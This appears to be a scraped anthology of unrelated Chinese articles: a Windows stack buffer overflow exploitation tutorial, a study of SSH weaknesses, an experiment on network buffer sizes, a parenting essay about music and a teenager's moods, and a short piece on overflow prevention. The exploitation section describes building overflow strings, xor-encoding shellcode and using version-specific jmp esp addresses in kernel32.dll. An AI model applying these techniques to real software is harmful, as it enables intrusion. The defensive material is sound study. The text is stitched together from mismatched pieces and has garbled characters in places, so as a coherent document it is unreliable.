从函数的栈帧结构可以看出:函数局部变量的内存分配发生在栈帧里,如果在某个函数里定义了缓冲区变量,则这个缓冲区变量所占用的内存空间就在该函数被调用时所建立的栈帧里。由于对缓冲区的潜在操作(如字串的复制)都是从内存低址到高址,而内存中函数调用的返回地址就在该缓冲区的上方(高地址)——这是由栈的特性决定的,这就为覆盖函数的返回地址提供了条件。当有机会用大于目标缓冲区的内容来向缓冲区进行填充时,就有可能改写保存在函数栈帧中的返回地址,使程序的执行流程发生转移,进而执行预先准备好的代码。下面是缓冲区溢出的示例:
(1)函数对字符串缓冲区的操作,方向一般都是从内存低址向高址的,如:strcpy(s,"AAA.....")。
(2)函数返回地址的复盖。
注:字符A的十六进制ASCII码值为0x41。
(3)从上图可以看出:如果用进程可以访问的某个地址,而不是0x41414141来改写调用函数的返回地址,且该地址正好是准备好的代码的入口,则进程就会执行这些代码。在Windows操作系统中,由于有地址冲突检测机制,出错时能调试查看寄存器映像和堆栈映像,使得对缓冲区溢出漏洞可以进行精确的分析,确定溢出偏移地址,也便于攻击者寻找缓冲区溢出漏洞。
3 Windows系统缓冲区溢出的利用
假设已经准备好了溢出后执行的基本shellcode代码,针对Windows系统缓冲区溢出的特殊性,还须解决如下问题:
(1)正确构造溢出字符串
前面已指出,随着进程中函数调用层数的减少,栈帧会逐块被释放而向内存的高址方向回缩。在Windows系统中,系统会用随机数据填充废弃不用的堆栈空间,因此必须用下面的方式精确构造溢出字符串,确保溢出后的shellcode不会被随机数据覆盖:
…NNNNNNNNNNNASSSSSSSSS…
其中,N为NOP指令,用于溢出占位;A为跳转指令,使执行流程跳转到shellcode,后面会分析确定A的具体内容;S为shellcode代码。在缓冲区溢出发生之后,堆栈的布局如下:
即A覆盖了返回地址,S位于父函数栈帧的顶部,A的内容,就是指向S的调用。后面会分析如何准确设置A的具体内容。
我们知道,Windows系统的用户进程空间是0—2G,操作系统所占的是2—4G,用户进程的加载位置为:0x00400000。用户进程的所有指令地址、数据地址和堆栈指针都会含有�x0字符,因此不管A中的跳转地址如何设定,也必然含有�x0字符,而�x0字符恰好也是字符串结束的标志。这样就会导致前面的溢出字符串在A处就被�x0阻断了,根本无法将shellcode植入进程。此外,shellcode中本身也可能存在�x0字符,也会影响其植入。这就需要对溢出字符串进行编码处理,处理掉所有不能在shellcode中出现的“�x0”字符,然后在基本的shellcode代码执行前,再由一个子程序对其解码。一种可行的编码方式是对溢出字符串进行xor0x99处理,用同样的程序即可完成解码过程。编解码程序如下:
(2)正确设置跳转指令地址
根据前面的分析可以知道,函数返回的时候,esp(栈顶寄存器)指向的地址,就是缓冲区溢出后shellcode的开始位置。因此函数返回后如果立即执行jmp esp指令就可以使程序执行流程跳转到shellcode上来。要实现这一点,可以把上述溢出字符串中A的内容设为内存中一个已存在的jmp esp指令地址即可。一个Windows程序运行时,内存中很多动态链接库(dll)都会有jmp esp指令,出于通用性的考虑,可以选择kernel32.dll里面的指令,因为kernel32.dll是系统核心的dll,这些dll一直位于内存中,而且对应于固定版本的Windows其加载的位置是固定的。不同的Windows系统版本,kernel32.dll中jmp esp指令地址不同:
win98第二版下(4.00.2222a),地址为:0xbff795a3
winnt4下(4.00.1381),地址为:0x77f0eac3
win2000下(5.00.2195),地址为:0x77e2e32a
等等。
以这种方式设置跳转指令地址,需要预先知道目标操作系统版本,否则jmp esp地址如果不对,目标程序就会跳出“无效页错误”对话框并退出运行。
(3)正确加载shellcode中的系统函数
实现具备一定功能的shellcode,通常会调用一些基本的win32系统函数,如Read File、Create Process等,但这些函数必须加载到目标程序的进程空间后才能被使用。如何才能实现这一点呢?可以考虑使用win32系统函数Load Library来加载相应的动态链接库,用Get Proc Address来获得所需函数的地址。在shellcode里面可以包含一个函数名表,保存每一个需调用函数的函数名,并在shellcode执行前,使用上述两个函数逐个获得这些函数的地址即可。
这个办法还必须解决一个问题,即Load Library和Get Proc Address本身如何加载并获得调用地址?研究一下这两个函数的作用可以知道,每一个win32程序都需要用它们来取得所有其他函数的地址。因此可以断定,目标程序肯定会加载这两个函数。接下来需要解决的是如何找到这两个函数在目标程序里面的加载地址,它们是否会根据操作系统的不同而变化的呢?答案是否定的,这些动态加载的函数在目标程序里设置了一个入口表,由目标程序自己加载,且该入口表地址是固定的,不会因操作系统不同而变化。这样,就可以使用wdasm32之类的工具来搜索目标程序中的Load Library和Get Proc Address,得到它们对应的入口表地址,假设为AAAA。在shellcode里面,就可以直接用call[AAAA]指令来调用了。
4 缓冲区溢出的保护方法
有四种基本的方法可保护程序免受缓冲区溢出攻击:
(1)编写正确的代码
编写正确的代码是很有意义但耗时耗力的工作,特别是使用C语言这类容易出错的编程语言,程序员往往追求性能而忽视代码的正确性和安全性。包括很多版本的C标准库都存在缓冲区溢出漏洞。尽管目前已有了很多指导性的意见和规范来指导程序员编写安全的程序,但具有安全漏洞的程序仍然不断出现。除了要求程序员尽可能编写正确的代码外,目前已出现了一些专门的工具来帮助程序员检查代码中存在的安全隐患,这些工具可以通过人为随机地产生一些缓冲区溢出来寻找代码的安全漏洞。一些静态分析工具也可以用于侦测缓冲区溢出的存在。
(2)使用非执行的缓冲区
通过使目标程序的数据段地址空间不可执行,使攻击者即使向缓冲区植入代码也不可能被执行,这种技术被称为非执行的缓冲区技术。很多老的Unix系统都是这样设计的,但后来的Unix和MS Windows系统为了实现更好的性能和功能,往往在数据段中动态地放入可执行的代码。为了保持程序的兼容性,不大可能使所有程序的数据段不可执行,但可以设定堆栈数据段不可执行,因为任何合法的程序都不会在堆栈中存放代码,这样就可以最大限度地保证程序的安全。目前,Linux和Solaris都发布了这方面的内核补丁,Windows Vista也增加了类似的内存保护机制。
(3)进行数组边界检查
与使用非执行的缓冲区保护不同,数组边界检查完全防止了缓冲区溢出的产生和攻击。只要数组不能被溢出,溢出攻击也就无从谈起。为了实现数组边界检查,所有对数组的读写操作都应被检查,以确保对数组的操作在正确的范围内。最直接的方法是检查所有的数组操作,但是通常可以采用一些优化的技术来减少检查的次数。常见的实现数组边界检查方法包括编译器检查、存储器存取检查、使用类型安全语言等。
(4)程序指针完整性检查
程序指针完整性检查和边界检查略微不同,程序指针完整性检查在程序指针被引用之前检测它的改变。因此,即使攻击者成功地改变了程序的指针,由于系统事先检测到了指针的改变,因此这个指针将不会被使用。实现程序指针完整性检查需要操作系统或程序编译器的支持。
5 结论
本文中,我们详细描述和分析了缓冲区溢出的原理和Windows系统中利用缓冲区溢出漏洞需要解决的技术难点,并总结了缓冲区溢出保护的基本方法。由于缓冲区溢出攻击是目前出现频繁、危害极大的攻击手段,进行这方面的研究工作对于了解系统弱点、掌握攻击手段、有针对性地进行安全防护都具有积极意义。研究结果表明,对于Windows下存在缓冲区溢出漏洞的程序,需要采用适当的技术和技巧才能加以利用,同时也使Windows系统的安全防护面临挑战。
参考文献
[1]Randal E.Bryant.David O'Hallaron.Computer Systems:A Programmer’s Perspective.中国电力出版社.2004.
[2]Foster,J.C.缓冲区溢出攻击—检测、剖析与预防.清华大学出版社.2006.
[2]许治坤.网络渗透技术.电子工业出版社.2005.
[3]黑猫(virtualcat@hotmail.com).如何编写自己的缓冲区溢出利用程序.2001.
[4]ipxodi(ipxodi@263.net).Windows系统下的堆栈溢出.绿盟月刊.2000.
SSH缓冲区溢出漏洞与防范研究 篇9
SSH的英文全称是Secure Shell,中文意思就是“安全壳”。SSH传输层协议是底层的安全传输协议,通常都是运行于TCP/IP之上,以该协议为基础,其上可以建立起多种网络安全服务。SSH传输层协议提供高强度的数据通信加密处理、加密的主机身份认证、数据完整性校验以及数据压缩等多项安全服务。协商确定双方通信所需要的密钥交换方式、公钥密码算法、对称密钥密码算法、消息认证算法和哈希算法等。SSH传输层协议中的认证是基于主机的 (Host-based) ,并不涉及客户端用户的身份认证。该协议的设计目标是简洁、灵活,允许参数协商并力争来回握手次数最少 (争取在绝大多数情况下,只需要两个来回 (round trips) 就完成所有的密钥交换、服务器认证、服务请求及其应答等,最糟糕的情况也只需3个来回) 。
二、SSH漏洞及缓冲区溢出问题
2.1 SSH工作流程简述
协议版本协商:双方都发送“S S H-protocol version-software version”+CR (option) 十NL, 该版本信息会用于D-日密钥协商。
密钥协商: (使用SSH二进制包表示协议格式) 相互发送己方支持的算法列表 (可以直接进行猜测,从而发送与之对应的初始密钥交换包) ,服务器会从客户端支持的算法列表中依次去找,直到发现与自己支持的相吻合的某种算法。
密钥协商产生的结果包括:
共享秘密K
交换哈希值H
由此产生加密和认证用的密钥对。且还作为唯一的会话标识和签名数据的一部分。
数据包处理:数据包将按协商好的选项进行处理,如果需要压缩,则压缩完成之后才进行加密处理,计算包长度和消息认证代码。M A C计算先于加密处理。MAC=MAC (key, sequence number, unencrypted packet (除MAC外的所有内容) ) 。
服务请求:接下来客户可以向服务器方提出自己期望的服务,目前的保留服务有:用户认证 (SSH USERAUTH) 和连接服务 (SSH CONNECTION) 。
用户认证:
服务器响应认证服务请求,告诉客户使用何种认证方式 (注意处理认证超时和超次的情况) 。
随后客户端发出相应的认证起始消息,进行认证。
连接服务:认证成功结束之后,就可以提交连接服务请求,比如请求打开一个伪终端,执行一个登录shell或者命令,进行端口转发等。双方会根据不同的服务类型述方——具体和服务类型相关的逻辑信道 (Channel) 并进行数据通信。
S S H协议流程示意图如图1。
SSH协议有两种版本,即版本1和2,二者存在兼容性问题,比较如表1。
2.2 SSH存在的安全问题
尽管SSH有很多优点,如它是实现网络安全的非常轻型的工具,不占用客户及机服务器的大量资源;便于用户理解 (至少在简单应用水平上是这样) 和使用:灵活且功能强大等,但S S H仅是系统安全的一部分,也有其不足.。
主机欺骗危险:允许客户第一次连接一台主机 (服务器) 时可以直接接受其主机密钥而不检查该密钥是否真正属于该主机。可以增加主机认证.。
依赖于主机系统的安全:对主机系统的安全性没有任何提高,一旦主机系统被入侵或控制,S S H无法保证传输安全。
基于下层的可靠传输::SSH建立在假设可靠的传输之上 (如TCP) ,无法避免Wire Cuter式的Dos攻击。
没有消除隐含信道问题:因为在填充域、SHeMSGweIGNORE消息和其他一些地方都可以被利用来传递隐含消息,无法防止夹带非法的数据进出敏感区域。
用户认证协议对底层传输协议的支持要求:用户认证协议要求下面的SSH传输层提供数据加密和完整性校验保护,如果系统或者用户配置选项关闭了这些缺省的安全功能,那么其上进行的任何对用户身份的认证很可能没有达到预期的安全效果。用户认证前检验加密、完整性。令调试消息可能泄漏敏感信息,当设计调试消息的时候,要注意它们也许会泄漏大量的主机敏感信息。缺省时不显示调试消息,或屏蔽一些敏感信息。令远程执行安全:协议允许服务器向客户机、或者客户机向服务器请求远程执行一条命令或一个程序。今用户非完全透明:尽管SSH协议从应用程序的角度来说是应用无关 (只要是面向连接的应用) 的,但是对于用户来说却不是完全透明的,因为它要求使用者产生和分发自己的密钥、选择合适的客户端软件,修改相应的配置,事先知道自己要连接主机的IP地址和转发端口等。
密钥管理与分发操作复杂:协议中对用户认证用的密钥没有规定具体的产生、分发和废除等操作,大多数的实现也都是采取人为手工的方式来完成。这样做不够灵活和方便,安全性也不够。在规模加大时更是明显。
安全与管理的矛盾:端口转发可能使入侵者绕过边界安全防护例如防火墙。因为信道是加密的,不能看到其中的数据,因此很难做出反应。
三、缓冲区溢出攻击的防范措施
3.1缓冲区溢出的攻击方法
程序代码和数据的存储可以放在堆栈中,程序执行前的指令寄存器地址也暂时被放在堆栈中 (示意见图2) ,它们被依次压入堆栈。执行过程中调用参数和函数时,如果数据输入过长,就有可能把预先存储地址的代码区覆盖,在系统再次调用时也就存在错误调用的威胁,执行恶意代码,进而成为一种攻击手段。缓冲区溢出之所以成为远程攻击的主要手段,更因为它能够扰乱具有某些特权运行的程序,使攻击者取得该程序的控制权。如果该程序具有足够的权限,那么有可能控制整个主机,这对SSH而言尤其危险,因为SSH通信的安全首先取决于系统的安全。一般而言,攻击者攻击root程序,然后执行类似“exec (sh)”的执行代码来获得root的Shell。为此,攻击者必须要做的是:在程序的地址空间安排适当的代码:通过适当地初始化寄存器和存储器,让程序跳转到预定的地址空间执行。
在被攻击程序地址空间里设置攻击代码的方法有两种:一是攻击者向被攻击的程序输入个字符串,程序会把这个字符串放到缓冲区里。这个字符串包含的数据是可以在这个被攻击的硬件平台上运行的指令序列。在这里攻击者用被攻击程序的缓冲区来存放攻击代码。另一种是利用被攻击程序中已经存在的代码,攻击者所要做的只是对代码传递一些参数,然后使程序跳转到目标。比如,攻击代码要求执行“exe (“/bin/sh”) ”,而在libc库中的代码执行“exec (arg)”, 其中arg使一个指向一个字符串的指针参数,那么攻击者只要把传入的参数指针改向指向”/bin/sh”,然后调转到lib库中的相应的指令序列。
跳转到攻击代码最基本的方法,就是溢出一个没有边界检查或者其他弱点的缓冲区,犹乱程序的正常执行顺序,攻击者用近乎暴力的方法改写相邻的程序空间而直接跳过了系统的检查。
最简单和常见的缓冲区溢出攻击类型就是在一个字符串里综合了代码植入和激活记录。攻击者定位一个可供溢出的自动变量,然后向程序传递一个很大的字符串, 在引发缓冲区溢出改变激活记录的同时植入了代码。代码植入和缓冲区溢出不一定要在一次动作内完成。攻击者可以在一个缓冲区内放置代码,这是不能溢出缓冲区;然后。通过溢出另外一个缓冲区来转移程序的指针。这种方法一般用来解决可供溢出的缓冲区不够大(不能放下全部的代码)的情况。
如果攻击者试图使用己经常驻的代码而不是从外部植入代码,他们通常必须把代码作为参数。例如,在libc(几乎所有的C程序都要它来连接)中的部分代码段会执行“exec (something)”,其中something就是参数。攻击者使用缓冲区溢出改变程序的参数,然后利用另一个缓冲区溢出使程序指针指向libC中特定的代码段。
3.2缓冲区溢出的防范方法
3.2.l编写正确的代码
编写正确的代码是一件非常有意义但耗时的工作,可以使用一些工具和技术编写安全、正确的程序。最简单的方法就是用grep来搜索源代码中容易产生漏洞库的调用,比如对strcpy和sprintf的调用,这两个函数都没有检查输入参数的长度,因此用strncpy和snprintf等替代函数防止缓图1 SSH协议流程示意图表1 SSH协议版本1与2的比较冲区溢出的发生;利用一些高级的查错工具,如fault injection等,还有些静态分析工具用于侦测缓冲区溢出的存在。
3.2.2非执行的缓冲区
非执行的缓冲区技术通过使被攻击程序的数据段地址空间不可执行,从而使得攻击者不可能执行被植入的被攻击程序输入缓冲区的代码。事实上,很多旧的U n i x系统都是这样设计的,但是近来的Unix和MS Windows系统为实现更好的性能和功能,往往在数据段中动态地放入可执行的代码。所以为了保持程序的兼容性不可能使得所有程序的数据段不可执行。
非执行堆栈的保护可以有效地对付把代码植入自动变量的缓冲区溢出攻击,而对于其他形式的攻击则没有效果。通过引用一个驻留的程序的指针,就可以跳过这种保护措施。其他的攻击可以采用把代码植入堆或者静态数据段中来跳过保护。
3.2.3数组边界检查
数组边界检查完全防止了缓冲区溢出的产生和攻击。只要数组不能被溢出,溢出攻击也就无从谈起。为了实现数组边界检查,所有对数组的读写操作都应当被检查以确保对数组的操作在正确的范围内。通常可以采用一些优化的技术来减少检查的次数。目前的检查方法包括:Compaq C编译器,Jones&Kelly C语言的数组边界存储器存取检查Purify以及安全语言等。
3.2.4程序指针完整性检查
程序指针完整性检查是在程序指针被引用之前检测它是否被改变。因此,即便一个攻击者成功地改变了程序的指针,由于系统事先检测到了指针的改变,因此这个指针将不会被使用。与数组边界检查相比,这种方法不能解决所有的缓冲区溢出问题,但是在性能上有很大的优势,而且兼容性很好。
最普通的缓冲区溢出形式是攻击活动记录然后在堆栈中植入代码。非执行堆栈可以防范所有把代码植入堆栈的攻击方法,堆栈保护可以防范所有改变活动记录的方法。这两种方法相互兼容,可以同时防范多种可能的攻击。
剩下的攻击基本上可以用指针保护的方法来防范,但是在某些特殊的场合需要用手工来实现指针保护。全自动的指针保护需要对每个变量加入附加字节,这样使得指针边界检查在某此情况下具有优势。
另外,利用一些工具检测特征代码等,及早发现:并针对不同的程序段应用动态连接检查缓冲区溢出漏洞,最大程度地防止溢出攻击的发生。
四、SSH协议的改进和实现
4.1在SSH协议中质询——响应认证方式嵌入
在SSH协议用户认证过程中,一般采用口令认证或公钥认证。口令认证比较简单,但存在传输过程中数据劫取的威胁,虽然利用SSH协议通信过程中建立起来的加密信道可以保护口令数据,但依然潜在被攻破的威胁;而公钥认证也存在两个弊端:一是公钥的生成要消耗和占用系统资源,二是公钥的管理和存储问题一直没能很好地解决。而质询—响应 (CHAP) 认证方式可以较好地解决上述问题。
所谓质询—响应认证方式,就是通过对等实体通过共享一个普通文本密钥来实现网络安全性。这个密钥不会在传输链路上发送,通过如下步骤执行:
链路建立后,主机 (认证者) 首先发送质询消息给客户 (被认证者) ,该质询消息一般包括标识符 (ID) 、随机数和本地设备的主机名和远程用户的用户名等。
客户接收到质询消息,使用单向哈希函数计算出一个质询响应值,密钥是单向哈希函数的输入。
客户发送该质询响应值,包括ID的加密版本、计算出的哈希值 (作为秘密口令) 、随机数及远程设备的主机名和用户名等。
主机接收到响应,查询响应中给定的名称并执行相同的加密操作,确认密钥是否一致,并把得到的哈希值与自己期望的哈希值比较。
如果密钥与哈希值都匹配,则认证成功,发送成功认证消息并建立连接;否则,认证失败在质询—响应认证方式中,远程和本地设备上的秘密口令必须相同,并以安全的方案得到认可、生成和交换。由于秘密口令从不进行传输,所以其他设备无法得到。通过使用一个增量变化的标识和可变质询值,质询—响应认证方式可以防止重放攻击。另外可以使用重复的质询,以限制任何一次攻击的暴露时间,认证者可以控制质询的频率和时间。
质询—响应认证方式中一般使用MD5作为单向哈希函数,而共享秘密口令通常以普通文本存储。质询响应认证方式的流程见图3。
4.2 Windows平台上SSH协议的实现
4.2.1 SSH协议应用存在的主要问题
现有S S H界面多是在U N X环境下运行,存在用户界面不友好、配置复杂等问题。而W i n d o w s是大多数用户比较熟悉的操作环境,在这一界面下完成协议的功能,将能进一步推动其获得更广泛的应用。其功能模块主要包括:
认证方式选择;
密钥产生(包括密钥选择,如D S AR S A) ;
密钥代理(选取密钥、修改、增删密钥):
SSH配置管理(协议版本(SSH 1/2)及认证方式选择,是否压缩等);
会话管理(己有连接会话的载入,新会话的建立)。
4.2.2系统设计目标及存在的问题
基于W i n d o w s平台实现S S H协议,要解决的主要问题涉及系统功能定义、终端字符支侍、用户界面设定等。关键的儿点内容包括:
系统功能包括远程连接、文件的远程传输(SCP及SFTP)、端口转发、Xll转发,以及相关的密钥生成、导入与删除管理等。
终端字符集的支持,包括终端类型、显示区域、字体与编码选择等。
用户界面的设定,主要包括功能选择、系统缺省设置,以及快捷键设置等。
4.2.3工作实施
分客户端和服务器两个实施阶段,利用已有的条件和资源,分别在客户端和服务器端实施,最后实现系统的整合。为保证接口的一致性,统一定义全局变量和局部变量,以顺利实现变量传递和保证接口的顺利衔接。考虑到为保证服务器端有较高的系统安全性,服务器端的操作系统可以使用Linux,这要在设计时考虑两种系统之间的互通。
协议环境设置完成后;进行SSH协议的具体认证过程,其流程参见图1,此处不再赘述。完成后在Windows环境下实现了基于SSH协议的安全通信,可以把命令、配置等以简捷的界面给用户提供安全通信。在实际中也证明,Windows环境下实现了SSH协议,既保证了网络的安全性,又实现了操作的简便性,达到了安全的目的。
五、结束语
根据当前网络技术推广和发展过程中遇到的安全问题,有针对性的选择应用层网络安全协议SSH作为研究对象,仔细分析了S S H协议的三个层次及其扩展协议,指出了协议本身和各种实现版本中存在的主要问题,并根据作者的研究和实践经验提出了相应的建议,嵌入了质询—响应认证方式,弥补了协议中的漏洞,消除了其脆弱性,在Windows环境下实现了SSH协议,并希望作为一种产品来应用。按照实际项目的需求,将SSH整合到目前的一些实际工程中应用,结果表明对应用后的速度影响不大,但显著增强了安全性,其效果令人满意。
摘要:安全Shell (SSH:Secure Shell) 是一种应用层的安全通信协议, 提供通信双方相互间身份的认证、通信数据的加解密处理、数据完整性校验等多种安全服务, 按照其实现的功能, 可归为一种应用层的虚拟专用网 (VPN) 协议。论文概要说明了SSH协议的基本概念, 然后对SSH会话从发起到结束的整个过程, 以及扩展协议进行了深入细致的研究和分析;归纳总结了SSH协议本身存在的若干缺陷和不足, 根据作者相关的研究和工作经验, 对这些问题进行了阐述, 并提出一系列实际操作过程中可以参考的建议;对部分安全漏洞, 特别是对缓冲区溢出漏洞, 进行了研究、分析, 修改了其脆弱性、弥补了漏洞, 并嵌入了质询-响应的认证方法。同时, 作者根据实际应用的需求, 基于Windows平台, 实现了SSH协议, 方便系统管理和提高SSH的可用性。论文最后总结与回顾全文, 介绍了SSH的应用情况, 并对未来的工作进行展望。
关键词:SSH, 网络安全,Windows,密码协议
参考文献
[1]圣安妮.卡利斯科著, 张蓬、匡巍、张建杰等译.SSH:UNIX Secure Shell工具.北京:机械工业出版社.2004
[2]戴关侠, 连一峰.正航, 系统安全与入侵检测.北京:清华大学出版社.2004
[3]李俊照, 王浩, 徐栋哲.基于SSH协议的集群构建与性能测试.计算机工程与应用.2005
[4]丁晓峰, 李周贤, 刘炳华, 顾巍, 吴楠宁.在SSH协议下的入侵检测[J].现代图书情报技术.2005
数据缓冲区设置对网络传输的优化 篇10
众所周知, 当前最流行的网络传输优化技术是数据缓冲。通过在网络TCP/IP体系结构中各个层次设置缓冲区, 能极大的提高网络传输的速率。这里假定网络的物理环境已经固定, 即表示本文只讨论在一次传输过程中, 数据在应用层传输所进行的优化。
现在的多数编程软件在网络编程上都支持缓冲区技术, 在进行网络编程时, 由程序员在编程时设置大小不一的缓冲区, 是否会对程序执行过程当中的传输效率有所影响。如果有影响, 缓冲区的大小应该设置为多少才能使程序达到最优的传输效率。
为了得到具体的实验数据, 这里采取为传输数据分块传输的方法来得到最优化的缓冲区设置值。在这个过程中, 将传输一个大小为34.9KB的图片文件“hk.jpg”。并将缓冲区大小设置为1024B、2048B、4096B和8192B, 得到四组测试数据。
验证程序的关键代码如下:
服务器端程序:
经过运行后得到的结果如下:
第一组测试数据, 设置缓冲区大小值为1024B, 分为35次进行传输, 开始时间为24分15秒608毫秒, 结束时间为24分15秒678毫秒, 共需时间为70毫秒。
第二组测试数据, 设置缓冲区大小值为2048B, 分为18次进行传输, 开始时间为25分10秒657毫秒, 结束时间为25分10秒717毫秒, 共需时间为60毫秒。
第三组测试数据, 设置缓冲区大小值为4096B, 分为9次进行传输, 开始时间为26分2秒191毫秒, 结束时间为26分2秒261毫秒, 共需时间为70毫秒。
第四组测试数据, 设置缓冲区大小值为8192B, 分为5次进行传输, 开始时间为27分24秒209毫秒, 结束时间为27分24秒289毫秒, 共需时间为80毫秒。
从运行结果中我们可以得出结论, 当缓冲区大小为2048B时, 传输数据最快。随后, 缓冲区越大, 传输效率越低。
摘要:网络环境固定的条件下, 通过合理设置缓冲区大小能极大的优化网络传输的效率。本文采取对文件进行分块传输, 讨论在网络编程中缓冲区大小设置的最优值。
关键词:缓冲,网络,传输,优化
参考文献
[1]罗震钧, 刘阳, 刘沛.一种提高无线局域网传输效率的技术[J].软件导刊.2009, Vol.1.
[2]徐翔.媒体文件网络远程传输效率的分析和提高[J].现代电视技术.2012, Vol.2.
用兴趣缓冲情绪 篇11
一段时间,儿子的情绪就随着痘痘的多少而起伏不定。……考试成绩更是随着情绪而起伏,鸡毛蒜皮的事情也会响到他上课的状态……
于是,我只有用悠扬的世界名曲与广泛的阅读,来平静自己的心绪,以期找到对付儿子青春期荷尔蒙的最佳办法!一天,我无意中翻开了德国最伟大音乐家之一的钢琴大师——舒曼的回忆录。他写到一篇有关贝多芬的文章,让我大为震惊!舒曼回忆说:
我看到贝多芬在手稿上写着:“为丢掉一文钱而愤怒,以随想曲的形式发泄!”我忍不住放声大笑,有什么比这个“游戏作品”更有趣呢?人们一直认为贝多芬的思想只萦注于高潮的事物,他在星期间翱翔,尘世人间的俗世是与他格格不入的……谁曾想到,贝多芬竟然也会为一文钱而愤怒,并且将他化作创作灵感。……年轻作曲家和演奏者们,你们在这首曲子里首先可以学到一样东西——那就是要自然!自然!自然!!!
这段回忆给我极大的启发。在儿子学琴练琴的过程中,我一直都注重技艺的培养和乐感的熏陶。然而,我却犯了一个显而易见的错误——让艺术与生活分离了。
我的教育让儿子感受到:自己穿上燕尾服,风度翩翩地坐在舞台上弹奏钢琴,是一回事儿;然而,生活中面对自己高低起伏的情绪和一团乱麻的生活,却是另一回事儿。
我必须改变自己的教育理念:如果,连贝多芬这样的大师都会因为一文钱找不到,而百感交集,需要移情于艺术;那么,我为何不能引导儿子用艺术的方式来抚平情绪,进行“移情治疗”呢?我连忙将这篇文章拿给儿子看,并且从他厚厚的乐谱中,找到贝多芬的“回旋狂想曲Op.129”,我让儿子弹奏了一遍,他很喜欢这首主题欢快的小三段体乐曲。当他知道贝多芬“怒发冲冠为一文钱”时,哈哈笑起来。
“原来圣人也有情绪失控的时候啊!”儿子感叹。
我说:“当然了。这首作品是在贝多芬去世之后,才被后人整理出来的!当他褪下那被人神化的外衣,露出的人性是那么率真,那么可爱……所以,作为一个爱好艺术的青春期男孩,你怒发冲冠,再正常不过了。就算是为了很小的事情发脾气,也是可以理解的。”
听我这么说,儿子眼中显出温柔的眼神来,他的语气软下来,竟然承认自己这段时间情绪不好,伤害了身边的人。“其实,我也知道自己乱发脾气不对,但就是控制不住。发了火,我又后悔,纠结……”
我轻轻拍着儿子的肩膀,忽然想到最近网上流行的一句话——“没有坏人,只有没被好好爱过的人”。很多时候,我只注意到照顾儿子的衣食住行,监督他学习和练琴,我忽略了他内心的痛苦纠结,没有给予他真正到位的爱。
我鼓励儿子:“以后,当你情绪不稳定时,不妨听听大师演奏的名曲。那些伟大的音乐家和你一样,都是为鸡毛蒜皮的小事而心中波涛起伏的人,但是他们会用艺术的方式来宣泄、自我修复,甚至点燃伟大的灵感……你也可以的!”
这一招非常管用,当儿子郁闷时,他不再抱着手机和IPad了。他会把自己关在琴室里,听听CD,弹奏几支曲子。有时候,他邀我听他的演奏,并且从音乐中猜猜他遇到了什么……说来也奇怪,我们母子常常因为“青春期与更年期”的代沟而无法沟通,然而,当儿子以琴抒情时,我就能够理解他。因为,这些曲子,我在年轻时也弹奏过。我常被这些旋律带回到青葱岁月,倏然明白了儿子心中的郁闷、澎湃与哀愁……
当然,大多数时候,儿子并没时间听曲与弹琴。我必须教会他如何在学校里给自己“减压”,在紧张的学习生活中平息自己不良的情绪。
于是,我试着帮他分析并正视每件烦心事的原因,让他不要把自己的糟糕情绪归因到外部因素,故而大发脾气。相反,我让儿子意识到成功和失败属于可控因素,他可以用理智控制自己的情绪。比如“因为背不出英语背诵内容,而被老师罚站”、“因为雀斑而被嘲笑”、“因为弄脏同桌书包而被孤立”等许多问题,我都一项项耐心地帮助儿子归因,让他发现这些问题的最佳解决方案都不是怨天尤人,而是积极应对。
在儿子的钢琴训练中,我加入了人文关怀。在他学习一首新曲子之前,我一定带他了解作者当时的心态,了解作曲家的生平和性格,让他从中揣摩“艺术疗治心灵”的能力。
有时候,儿子情绪不好,我也会弹琴给他听。有时候,身边没有钢琴,我就哼出一些旋律来,并且鼓励儿子与我一起哼唱。当他考试考砸的时候,我还请他去K歌,让他歇斯底里地唱出内心的受挫感,并再度重新上阵。
我渐渐体悟到艺术的真谛——艺术可以教孩子面对自我内心,面对成长的挣扎,找到一种“与伟大心灵交流”的方式。他可以在自己荷尔蒙高涨时,用艺术来镇定自己;也可以在焦躁无奈时,用乐曲鼓励自己……他不用“讲粗口、打人、早恋、情绪冷暴力”等方式来发泄,而用“健康的、积极的、优美的”方式来自我调适。
这样的引导之后,家中再度出现了和睦温馨的氛围,我们常常说:“这件烦心事,贝多芬会怎么看?怎么弹?怎么应对呢?”
基于源代码的缓冲区溢出预防技术 篇12
关键词:堆栈,缓冲区,溢出,缓冲区溢出攻击
1 引言
1988年的Morris蠕虫,是第一次利用缓冲区溢出缺陷的攻击,导致6000多台机器被感染,损失在$100 000至$10 000 000之间。之后,缓冲区溢出缺陷的攻击愈来愈多,成为最常见也是最危险的网络攻击。
缓冲区溢出是由于程序或编译器没有对缓冲区进行边界检查导致的。发展C语言的初衷是为了编写操作系统,后来被广泛使用,其运行高效、精确控制资源等优点成为系统程序员最喜欢选择的编程语言,很多商业软件都是使用C语言编写的。但C语言缺少安全机制,对数组和指针不做边界检查,由此带来很多缓冲区溢出隐患。最直接的预防方法是编程时严格按照规则对边界进行检查,但实际效果不尽如人意,即使是经过严格培训的程序员也会产生错误。为了防止缓冲区溢出,专家学者研究了很多的检测和预防技术。本文将缓冲区溢出的原理进行分析,并对其检测和预防技术进行一次介绍。
2 缓冲区溢出的原理
缓冲区溢出的原因是由于字符串处理函数(gets,strcpy等)没有对数组的越界加以监视和限制,结果覆盖了老的堆栈数据。
在计算机内的程序是按以下形式存储的,见图1。
缓冲区溢出的造成的影响有两个方面:1)覆盖缓冲区相邻内存中的数据,破坏程序数据的完整性;2)覆盖了前一个栈基指针(ebp)、堆栈中的函数返回地址或函数参数,从而改变程序的流程。
许多C程序都有缓冲区溢出的漏洞,一方面因为很多程序员在写程序时都只考虑到程序的执行效率而忽视错误检查与出错处理。同时,标准C库函数本身就存在严重漏洞,如常用的strcat()、strcpy()、sprintf()、vsprintf()、bcopy()、gets()、scanf()等。
3 攻击种类与实施过程
C语言中能改变内存地址内容的语句主要有两类:1)*A=B;/*指针型语句*/;2)A[i]=B;/*数组型语句*/;
其中,A,B均为变量,*A为指针,A[]为数组,i为数组下标。
在第一类语句(指针型语句)中,由于A所指向的内存地址取得B的值,因而攻击者能利用该声明来改变函数的返回地址。由此可构成第一种攻击方法,又可称为指针型攻击方法。
在第二类语句(数组型语句)中,数组A[]中的第i个元素A[i]取得B的值。这类攻击方式必须满足下列条件:
1)一个循环声明,用于将用户输入数据复制到一个缓冲区数组,而且不能检查数据量,同时数组必须紧靠变量B;
2)一个循环声明,用于将用户输入数据复制到数组A,而且不能检查A的上界,每次循环后i的值加1,同时数组A必须紧靠一个返回地址。
在此条件下可构造出两种攻击方式。
